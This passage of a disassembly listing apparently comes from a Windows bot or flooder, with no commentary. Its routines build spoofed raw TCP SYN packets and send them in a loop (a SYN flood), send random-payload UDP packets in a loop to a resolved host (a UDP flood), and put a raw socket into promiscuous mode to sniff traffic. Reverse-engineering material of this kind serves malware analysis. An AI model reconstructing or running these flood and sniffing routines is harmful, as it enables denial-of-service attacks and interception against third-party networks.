		add	esp, 14h
		mov	[esp+34h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+34h+var_24]
		call	sub_13AB626
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_13D1390	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1500	proc near		; CODE XREF: sub_13ABFB3j

var_95		= byte ptr -95h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_78		= dword	ptr -78h
var_74		= byte ptr -74h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= byte ptr -68h
var_67		= byte ptr -67h
var_66		= word ptr -66h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_28		= byte ptr -28h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_13AC5A3
		push	0FFh
		push	esi
		mov	byte ptr [esp+0B8h+var_94], al
		call	sub_13AC5A3
		push	0FFh
		push	esi
		mov	byte ptr [esp+0C0h+var_94+1], al
		call	sub_13AC5A3
		push	0FFh
		push	esi
		mov	byte ptr [esp+0C8h+var_94+2], al
		call	sub_13AC5A3
		add	esp, 20h
		cmp	word ptr [esp+0A8h+arg_8], si
		mov	byte ptr [esp+0A8h+var_94+3], al
		jnz	short loc_13D1591
		push	2710h
		push	3E8h
		mov	[esp+0B0h+var_95], 1
		call	sub_13AC5A3
		add	esp, 8
		mov	[esp+0A8h+arg_8], eax


loc_13D1591:				; CODE XREF: sub_13D1500+71j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	[esp+0C0h+var_5C], 1
		call	WSASocketA	; WSASocketA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+0A8h+var_90], edi
		jnz	short loc_13D15C4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_13D15C4:				; CODE XREF: sub_13D1500+B5j
		lea	eax, [esp+0A8h+var_5C]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	setsockopt	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D15E7


loc_13D15DA:				; CODE XREF: sub_13D1500+28Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_13D15E7:				; CODE XREF: sub_13D1500+D8j
		mov	ecx, [esp+0A8h+arg_8]
		mov	ebp, htons
		push	ecx
		mov	[esp+0ACh+var_4C], 2
		call	ebp ; htons
		mov	ebx, [esp+0A8h+arg_0]
		push	28h
		mov	[esp+0ACh+var_4A], ax
		mov	[esp+0ACh+var_48], ebx
		mov	byte ptr [esp+0ACh+var_88], 45h
		call	ebp ; htons
		push	4000h
		mov	word ptr [esp+0ACh+var_88+2], ax
		mov	word ptr [esp+0ACh+var_84], 1
		mov	word ptr [esp+0ACh+var_84+2], si
		mov	byte ptr [esp+0ACh+var_80], 80h
		mov	byte ptr [esp+0ACh+var_80+1], 6
		mov	word ptr [esp+0ACh+var_80+2], si
		mov	[esp+0ACh+var_78], ebx
		mov	[esp+0ACh+var_68], 50h
		mov	[esp+0ACh+var_67], 2
		call	ebp ; htons
		mov	[esp+0A8h+var_66], ax
		mov	[esp+0A8h+var_62], si
		mov	[esp+0A8h+var_6C], esi
		call	GetTickCount	; GetTickCount
		mov	[esp+0A8h+var_60], eax
		mov	al, ds:byte_E1A109
		test	al, al
		jz	loc_13D183B
		mov	ebx, rand
		mov	byte ptr [esp+0A8h+var_50], 0
		mov	byte ptr [esp+0A8h+var_50+1], 6
		jmp	short loc_13D1685
; ---------------------------------------------------------------------------


loc_13D1683:				; CODE XREF: sub_13D1500+331j
		xor	esi, esi


loc_13D1685:				; CODE XREF: sub_13D1500+181j
		mov	edi, [esp+0A8h+var_8C]
		mov	edx, [esp+0A8h+arg_8]
		inc	edi
		push	edx
		mov	[esp+0ACh+var_8C], edi
		mov	[esp+0ACh+var_64], si
		call	ebp ; htons
		push	14h
		mov	[esp+0ACh+var_72], ax
		call	ebp ; htons
		mov	word ptr [esp+0A8h+var_50+2], ax
		mov	eax, [esp+0A8h+var_94]
		push	eax
		call	htonl	; htonl
		mov	esi, eax
		mov	dword ptr [esp+0A8h+var_7C], esi
		call	ebx ; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp ; htons
		mov	word ptr [esp+0A8h+var_74], ax
		call	ebx ; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx ; rand
		or	edi, eax
		push	edi
		call	ebp ; htons
		mov	edx, [esp+0A8h+arg_0]
		and	eax, 0FFFFh
		mov	[esp+0A8h+var_70], eax
		mov	eax, [esp+0A8h+var_50]
		mov	dword ptr [esp+0A8h+var_3C], esi
		mov	ecx, 5
		lea	esi, [esp+0A8h+var_74]
		lea	edi, [esp+0A8h+var_30]
		mov	[esp+0A8h+var_38], edx
		mov	[esp+0A8h+var_34], eax
		rep movsd
		lea	ecx, [esp+0A8h+var_3C]
		push	20h
		push	ecx
		call	sub_13ABE28
		mov	ecx, 5
		lea	esi, [esp+0B0h+var_88]
		lea	edi, [esp+0B0h+var_3C]
		lea	edx, [esp+0B0h+var_3C]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+0B0h+var_74]
		lea	edi, [esp+0B0h+var_28]
		mov	[esp+0B0h+var_64], ax
		push	28h
		push	edx
		rep movsd
		mov	[esp+0B8h+var_14], 0
		call	sub_13ABE28
		mov	edx, [esp+0B8h+var_90]
		add	esp, 10h
		mov	word ptr [esp+0A8h+var_80+2], ax
		mov	ecx, 5
		lea	esi, [esp+0A8h+var_88]
		lea	edi, [esp+0A8h+var_3C]
		lea	eax, [esp+0A8h+var_4C]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+0B4h+var_3C]
		push	28h
		push	ecx
		push	edx
		call	sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D15DA
		call	GetTickCount	; GetTickCount
		mov	edx, [esp+0A8h+var_60]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0A8h+arg_C]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_13D1837
		mov	al, [esp+0A8h+var_95]
		test	al, al
		jz	short loc_13D17D9
		push	2710h
		push	3E8h
		call	sub_13AC5A3
		add	esp, 8
		mov	[esp+0A8h+arg_8], eax


loc_13D17D9:				; CODE XREF: sub_13D1500+2BEj
		push	0FFh
		push	0
		call	sub_13AC5A3
		push	0FFh
		push	0
		mov	byte ptr [esp+0B8h+var_94], al
		call	sub_13AC5A3
		push	0FFh
		push	0
		mov	byte ptr [esp+0C0h+var_94+1], al
		call	sub_13AC5A3
		push	0FFh
		push	0
		mov	byte ptr [esp+0C8h+var_94+2], al
		call	sub_13AC5A3
		mov	edx, [esp+0C8h+arg_10]
		add	esp, 20h
		mov	byte ptr [esp+0A8h+var_94+3], al
		push	edx
		call	Sleep	; Sleep
		mov	al, ds:byte_E1A109
		test	al, al
		jnz	loc_13D1683


loc_13D1837:				; CODE XREF: sub_13D1500+2B6j
		mov	edi, [esp+0A8h+var_90]


loc_13D183B:				; CODE XREF: sub_13D1500+16Bj
		push	edi
		call	closesocket	; closesocket
		mov	eax, [esp+0A8h+var_8C]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
sub_13D1500	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1940	proc near		; CODE XREF: sub_13AC1B6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_13ABC7F
		mov	esi, eax
		call	rand	; rand
		and	eax, 800001FFh
		jns	short loc_13D1961
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_13D1961:				; CODE XREF: sub_13D1940+18j
		mov	ecx, [esp+8+arg_C]
		mov	edx, [esp+8+arg_8]
		push	ecx
		mov	ecx, [esp+0Ch+arg_4]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_13ABFB3
		add	esp, 18h
		pop	esi
		retn
sub_13D1940	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D19B0	proc near		; CODE XREF: sub_13ABB85j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B868h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC37D
		push	offset dword_444F18
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E11C
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D19B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1A20	proc near		; CODE XREF: sub_13AB8ECj sub_13AC62Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB559
		test	[esp+4+arg_0], 1
		jz	short loc_13D1A38
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D1A38:				; CODE XREF: sub_13D1A20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D1A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D1A50	proc near		; CODE XREF: sub_13AB559j
		jmp	sub_13AB8C4
sub_13D1A50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1A70	proc near		; CODE XREF: sub_13ABE05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B888h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		push	offset dword_444F30
		mov	ecx, ebp
		call	sub_13AB8D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_13AB824
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_13AB8D3
		push	eax
		call	sub_13ABB30
		add	esp, 14h
		test	eax, eax
		jz	short loc_13D1B3E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebx
		call	sub_13ABBE4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset dword_444F1C
		push	eax
		call	sub_13AB42D
		add	esp, 18h


loc_13D1B3E:				; CODE XREF: sub_13D1A70+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_13ABBE4
		push	eax
		mov	ecx, ebp
		call	sub_13AB8D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_13D1A70	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1BE0	proc near		; CODE XREF: sub_13ABB30j

var_36		= word ptr -36h
var_18		= byte ptr -18h
var_16		= word ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	near ptr 13E0C60h
		push	esi
		push	11h
		push	2
		push	2
		call	socket	; socket
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		call	inet_addr	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D1C41
		push	esi
		call	gethostbyname	; gethostbyname
		test	eax, eax
		jnz	short loc_13D1C3A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_13D1C3A:				; CODE XREF: sub_13D1BE0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_13D1C41:				; CODE XREF: sub_13D1BE0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, rand
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_13D1C7D
		call	ebx ; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	htons	; htons
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_13D1CAE
; ---------------------------------------------------------------------------


loc_13D1C7D:				; CODE XREF: sub_13D1BE0+77j
		push	esi
		call	htons	; htons
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_13D1C9B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_13D1CAE
; ---------------------------------------------------------------------------


loc_13D1C9B:				; CODE XREF: sub_13D1BE0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_13D1CAE
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_13D1CAE:				; CODE XREF: sub_13D1BE0+9Bj
					; sub_13D1BE0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_13D1CC4
		mov	[esp+28h+arg_FFE4], 1


loc_13D1CC4:				; CODE XREF: sub_13D1BE0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_13D1CFE


loc_13D1CEB:				; CODE XREF: sub_13D1BE0+11Cj
		call	ebx ; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_13D1CEB


loc_13D1CFE:				; CODE XREF: sub_13D1BE0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_13D1D90
		mov	ebp, sendto


loc_13D1D16:				; CODE XREF: sub_13D1BE0+1AEj
		mov	al, ds:byte_E1A109
		test	al, al
		jz	short loc_13D1D90
		mov	esi, 0Bh


loc_13D1D24:				; CODE XREF: sub_13D1BE0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx ; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp ; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		call	Sleep	; Sleep
		dec	esi
		jnz	short loc_13D1D24
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_13D1D7B
		call	ebx ; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	htons	; htons
		mov	[esp+48h+var_36], ax


loc_13D1D7B:				; CODE XREF: sub_13D1BE0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_13D1D16


loc_13D1D90:				; CODE XREF: sub_13D1BE0+12Aj
					; sub_13D1BE0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_13D1BE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1E10	proc near		; CODE XREF: sub_13AC47Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_13ABE28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		call	WSASocketA	; WSASocketA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13D1E6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13D1E6D:				; CODE XREF: sub_13D1E10+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		call	setsockopt	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D1E8D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13D1E8D:				; CODE XREF: sub_13D1E10+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		call	sendto	; sendto
		push	esi
		mov	edi, eax
		call	closesocket	; closesocket
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_13D1E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D1EF0	proc near		; CODE XREF: sub_13AC19Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_13ABC7F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_13ABC7F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F80
		mov	eax, edi


loc_13D1F57:				; CODE XREF: sub_13D1EF0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_13D1F7B
		test	cl, cl
		jz	short loc_13D1F77
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_13D1F7B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_13D1F57


loc_13D1F77:				; CODE XREF: sub_13D1EF0+71j
		xor	eax, eax
		jmp	short loc_13D1F80
; ---------------------------------------------------------------------------


loc_13D1F7B:				; CODE XREF: sub_13D1EF0+6Dj
					; sub_13D1EF0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D1F80:				; CODE XREF: sub_13D1EF0+89j
		cmp	eax, ebx
		jnz	short loc_13D1FD3
		mov	ebp, ds:dword_E19D17
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_13D1F97
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_13D1FDE


loc_13D1F97:				; CODE XREF: sub_13D1EF0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		call	gethostname	; gethostname
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	gethostbyname	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_13D1FDE
; ---------------------------------------------------------------------------


loc_13D1FD3:				; CODE XREF: sub_13D1EF0+92j
		push	edi
		call	sub_13ABC7F
		add	esp, 4
		mov	ebp, eax


loc_13D1FDE:				; CODE XREF: sub_13D1EF0+A5j
					; sub_13D1EF0+E1j
		cmp	ebp, ebx
		jz	short loc_13D1FE7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_13D1FED


loc_13D1FE7:				; CODE XREF: sub_13D1EF0+F0j
		mov	ebp, ds:dword_E19D17


loc_13D1FED:				; CODE XREF: sub_13D1EF0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		call	WSASocketA	; WSASocketA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_13D212D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		call	setsockopt	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D212D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		call	bind	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D212D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		call	WSAIoctl	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D212D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_13D2113
		mov	ebx, recv


loc_13D2083:				; CODE XREF: sub_13D1EF0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx ; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_13D2103
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_13D20DE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_13D20FB
; ---------------------------------------------------------------------------


loc_13D20DE:				; CODE XREF: sub_13D1EF0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_13D2103
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_13D20FB:				; CODE XREF: sub_13D1EF0+1ECj
		call	sub_13AC47C
		add	esp, 8


loc_13D2103:				; CODE XREF: sub_13D1EF0+1C0j
					; sub_13D1EF0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_13D2083


loc_13D2113:				; CODE XREF: sub_13D1EF0+187j
		mov	edx, _iob
		add	edx, 20h
		push	edx
		call	fflush	; fflush
		add	esp, 4
		push	esi
		call	closesocket	; closesocket


loc_13D212D:				; CODE XREF: sub_13D1EF0+11Dj
					; sub_13D1EF0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_13D1EF0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D21E0	proc near		; CODE XREF: sub_13ABC89j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B8A8h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC382
		push	offset dword_444F50
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E12C
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D21E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D2250	proc near		; CODE XREF: sub_13AC382j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43B8FFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC26A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_13AB824
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_13AB824
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_13AB824
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_13AB824
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D2250	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D2310	proc near		; CODE XREF: sub_13ABB9Ej

var_10		= dword	ptr -10h
